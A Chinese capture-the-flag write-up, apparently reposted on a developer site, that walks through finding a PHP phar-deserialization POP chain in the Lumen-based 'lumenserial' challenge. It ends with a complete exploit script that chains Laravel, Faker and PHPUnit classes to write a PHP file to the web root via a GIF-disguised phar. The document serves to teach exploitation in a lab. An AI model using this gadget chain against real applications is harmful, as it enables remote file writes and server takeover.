PHP反序列化入门之寻找POP链(一)

栏目: PHP · 发布时间: 5年前

内容简介:本文以

PHP反序列化入门之寻找POP链(一)

本文以 code-breaking lumenserial 为例,练习 PHP 反序列化 POP链 的寻找,题目地址: https://code-breaking.com/puzzle/7/

环境搭建

运行环境要求

  • PHP >= 7.1.3
  • OpenSSL PHP Extension
  • PDO PHP Extension
  • Mbstring PHP Extension

安装题目环境

PHP反序列化入门之寻找POP链(一)

运行题目代码

PHP反序列化入门之寻找POP链(一)

更多请参考: https://laravel-china.org/docs/lumen/5.7/installation/2402

PS:更新P牛制作的 docker 环境 https://github.com/phith0n/code-breaking

漏洞点

routes/web.php 文件中,定义了 web 程序的路由,当我们以 GETPOST 方法访问 http://website/server/editor 的时候,程序就会调用 app/Http/Controllers/EditorController.php 类中的 main 方法。

PHP反序列化入门之寻找POP链(一)

我们进而看 app/Http/Controllers/EditorController.php 文件,很快便会发现有一个 download 方法中的 $url 变量没有经过任何处理用在了 file_get_contents 函数中, download 方法代码如下:

PHP反序列化入门之寻找POP链(一)

这时我们便考虑 $url 变量是否可控,如果可控,便可以利用 phar反序列化 。我们回溯寻找 $url 变量来源,会发现在 doCatchimage 方法中,该变量值是从 $sources 变量来。而 $sources 变量由用户传来的 source 参数决定(通过 http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif 即可控制 $url 变量),相关代码如下:

PHP反序列化入门之寻找POP链(一)

那么接下来,我们就要寻找可利用的类方法,然后通过 phar反序列化 触发漏洞。

了解PHPGGC

在寻找 pop链 之前,我们不妨先看看 phpggc 中已有的 4种 关于 Laravel 框架 RCEpayload 生成方法,以便我们更快速的找出本题的 pop链 ,其 4种 Laravel 框架 RCEpayload 生成方法分别如下:

第1种

PHP反序列化入门之寻找POP链(一)

其反序列化时,类方法调用过程如下:

PHP反序列化入门之寻找POP链(一)

第2种

PHP反序列化入门之寻找POP链(一)

其反序列化时,类方法调用过程如下:

PHP反序列化入门之寻找POP链(一)

第3种

PHP反序列化入门之寻找POP链(一)

其反序列化时,类方法调用过程如下:

PHP反序列化入门之寻找POP链(一)

第4种

PHP反序列化入门之寻找POP链(一)

其反序列化时,类方法调用过程如下:

PHP反序列化入门之寻找POP链(一)

这里我选取 第1种phar反序列化 执行结果图(题目环境为 PHP7.1.16 ):

PHP反序列化入门之寻找POP链(一)

然而本题目的环境还有一些额外的限制,例如 PHP 版本为 7.2.14 ,且禁用了如下函数和类(这些信息通过 phpggc 的第一个 Laravel 框架 RCE 生成 phpinfo 函数的利用 phar 即可看到):

disable_functions:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

由于在 PHP7.x 版本中,很多函数禁止动态调用了,加上上面的这些限制,所以我们还需要寻找其他利用点,结合上述 POP 链,完成写 shell

开始寻找pop链

我们可以发现上面的4种 RCE 入口点都是从 PendingBroadcast 类的 __destruct 方法开始的,那么我们着重搜索 dispatch 方法和 __call 方法。经过一番搜索,发现 ValidGenerator 类中的 __call 比较好利用。

PHP反序列化入门之寻找POP链(一)

我们可以看到其代码中先调用了 call_user_func_array 函数,然后将 call_user_func_array 函数的执行结果又传入 call_user_func 函数,只要我们能控制住 call_user_func_array 函数的执行结果,相当于 call_user_func 函数的两个参数都可控,这样我们便可以调用任意类方法。

我们接着搜索可以用于控制 call_user_func_array 函数执行结果的类,这里我找到了 DefaultGenerator 类的 __call 方法,我们可以看到返回值 $this->default 完全可控。

PHP反序列化入门之寻找POP链(一)

现在 call_user_func($this->validator, $res) 中的两个参数都可控了。那么如果我们想写shell,就要调用 file_put_contents 函数,而这个函数需要两个参数,所以直接通过 call_user_func 函数是无法使用该函数的,我们需要通过 call_user_func_array 函数来使用 file_put_contents 函数,用法形如: call_user_func_array(‘file_put_contents’,array(‘shell.php’,’test’))

通过直接搜索 call_user_func_array 函数,我们会发现两个比较好利用的类函数。但是这里的第一个 ClosureWrapper 类我们无法利用,所以得利用 ReturnCallback 类的 invoke 方法,具体代码如下:

PHP反序列化入门之寻找POP链(一)

很明显 invoke 方法两个参数都可控,现在我们只要构造好一个 Invocation 类对象即可。通过搜索,我们会发现 Invocation 是一个接口,那么我们找到他的实现类即可。这里我找到了 StaticInvocation 类来实现上诉功能,其代码具体如下:

PHP反序列化入门之寻找POP链(一)

这样子,我们的整个 POP链 就构造好了。下面是 exp

<?php
namespace IlluminateBroadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct($events, $event){
            $this->events = $events;
            $this->event = $event;
        }
    }
};
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default = null){
            $this->default = $default;
        }
    }
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        // __call方法中有call_user_func_array、call_user_func
        public function __construct($generator, $validator = null, $maxRetries = 10000)
        {
            $this->generator = $generator;
            $this->validator = $validator;
            $this->maxRetries = $maxRetries;
        }
    }
};
namespace PHPUnitFrameworkMockObjectStub{
    class ReturnCallback
    {
        private $callback;
        public function __construct($callback)
        {
            $this->callback = $callback;
        }
    }
};
namespace PHPUnitFrameworkMockObjectInvocation{
    class StaticInvocation{
        private $parameters;
        public function __construct($parameters){
            $this->parameters = $parameters;
        }
    }
};
namespace{
    $function = 'file_put_contents';
    $parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
    $staticinvocation = new PHPUnitFrameworkMockObjectInvocationStaticInvocation($parameters);
    $returncallback = new PHPUnitFrameworkMockObjectStubReturnCallback($function);
    $defaultgenerator = new FakerDefaultGenerator($staticinvocation);
    $validgenerator = new FakerValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
    $pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($validgenerator,123);
    $o = $pendingbroadcast;
    $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ");
    $phar->setMetadata($o);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
};

?>

最后

我们再通过下面这张图片,来理清整个 POP链 的调用过程。

PHP反序列化入门之寻找POP链(一)


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Linux设备驱动程序

Linux设备驱动程序

科波特 / 魏永明、耿岳、钟书毅 / 中国电力出版社 / 2006-1-1 / 69.00元

本书是经典著作《Linux设备驱动程序》的第三版。如果您希望在Linux操作系统上支持计算机外部设备,或者在Linux上运行新的硬件,或者只是希望一般性地了解Linux内核的编程,就一定要阅读本书。本书描述了如何针对各种设备编写驱动程序,而在过去,这些内容仅仅以口头形式交流,或者零星出现在神秘的代码注释中。 本书的作者均是Linux社区的领导者。Jonathan Corbet虽不是专职的内核......一起来看看 《Linux设备驱动程序》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具